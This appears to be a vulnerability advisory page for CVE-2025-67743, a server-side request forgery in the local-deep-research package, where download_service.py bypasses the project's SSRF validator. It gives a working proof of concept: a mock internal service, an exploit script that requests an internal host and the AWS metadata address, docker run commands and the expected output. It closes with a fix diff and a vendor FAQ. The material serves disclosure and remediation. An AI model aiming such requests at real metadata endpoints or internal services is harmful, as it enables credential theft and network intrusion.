CVE-2025-67743

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)

Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:

• Loopback addresses (127.0.0.0/8)
• Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• AWS metadata endpoint (169.254.169.254)
• Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

1. Attacker submits a malicious URL via POST /api/resources/<research_id>
2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
3. Download is triggered via /library/api/download/<resource_id>
4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

• Docker and Docker Compose installed
• Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")
    
    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")
        
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        
        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)
    
    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent": "Mozilla/5.0"}
    
    # EXPLOIT 1: Access internal service
    print("\n[EXPLOIT 1] Accessing internal service via SSRF")
    print(f"    Target: {internal_url}")
    
    try:
        # Same pattern as download_service.py line 1038
        response = requests.get(internal_url, headers=headers, timeout=30)
        print(f"    [!] SSRF SUCCESSFUL! Status: {response.status_code}")
        print(f"    [!] Retrieved secrets:")
        for line in response.text.split('\n')[:15]:
            print(f"        {line}")
    except Exception as e:
        print(f"    [-] Failed: {e}")
        return 1
    
    # EXPLOIT 2: AWS metadata bypass
    print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
    from local_deep_research.security.ssrf_validator import validate_url
    print(f"    SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
    print(f"    But download_service.py BYPASSES the validator!")
    
    try:
        requests.get(aws_metadata_url, timeout=5)
    except requests.exceptions.ConnectionError:
        print(f"    Request sent without SSRF validation!")
    
    print("\n" + "=" * 70)
    print("SSRF VULNERABILITY CONFIRMED")
    print("=" * 70)
    return 0

if __name__ == "__main__":
    sys.exit(main())

Step 3: Run the PoC

# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py

Expected Output

======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================

[EXPLOIT 1] Accessing internal service via SSRF
    Target: http://ssrf-internal-service:8080/secret-data
    [!] SSRF SUCCESSFUL! Status: 200
    [!] Retrieved secrets:
        {
          "status": "SSRF_SUCCESSFUL",
          "message": "You have accessed internal service via SSRF!",
          "internal_secrets": {
            "database_password": "super_secret_db_pass_123",
            "api_key": "sk-internal-api-key-xxxxx",
            "admin_token": "admin_bearer_token_yyyyy"
          }
        }

[EXPLOIT 2] AWS Metadata endpoint bypass
    SSRF validator: BLOCKED
    But download_service.py BYPASSES the validator!
    Request sent without SSRF validation!

======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================

Who is affected?

All users running local-deep-research in:

• Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints
• Corporate networks - attackers can access internal services and databases
• Any deployment - attackers can scan internal networks

What can an attacker do?

Files to update:

• src/local_deep_research/research_library/services/download_service.py (9 occurrences)
• src/local_deep_research/research_library/downloaders/base.py (uses requests.Session)

References

• CWE-918: Server-Side Request Forgery (SSRF)
• OWASP SSRF Prevention Cheat Sheet
• AWS SSRF Attacks and IMDSv2
• PortSwigger: SSRF

Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2025-67743 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.3.9); upgrading removes the vulnerable code path.

Kodem intelligence

Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:

# download_service.py

+ from ...security.safe_requests import safe_get

  def _download_generic(self, url, ...):
-     response = requests.get(url, headers=headers, timeout=30)
+     response = safe_get(url, headers=headers, timeout=30)

The safe_get() function already validates URLs against SSRF attacks before making requests.

1. What is CVE-2025-67743? CVE-2025-67743 is a medium-severity server-side request forgery (SSRF) vulnerability in local-deep-research (pip), affecting versions >= 1.3.0, < 1.3.9. It is fixed in 1.3.9. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2025-67743? CVE-2025-67743 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of local-deep-research are affected by CVE-2025-67743? local-deep-research (pip) versions >= 1.3.0, < 1.3.9 is affected.
4. Is there a fix for CVE-2025-67743? Yes. CVE-2025-67743 is fixed in 1.3.9. Upgrade to this version or later.
5. Is CVE-2025-67743 exploitable, and should I be worried? Whether CVE-2025-67743 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-67743 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-67743? Upgrade local-deep-research to 1.3.9 or later.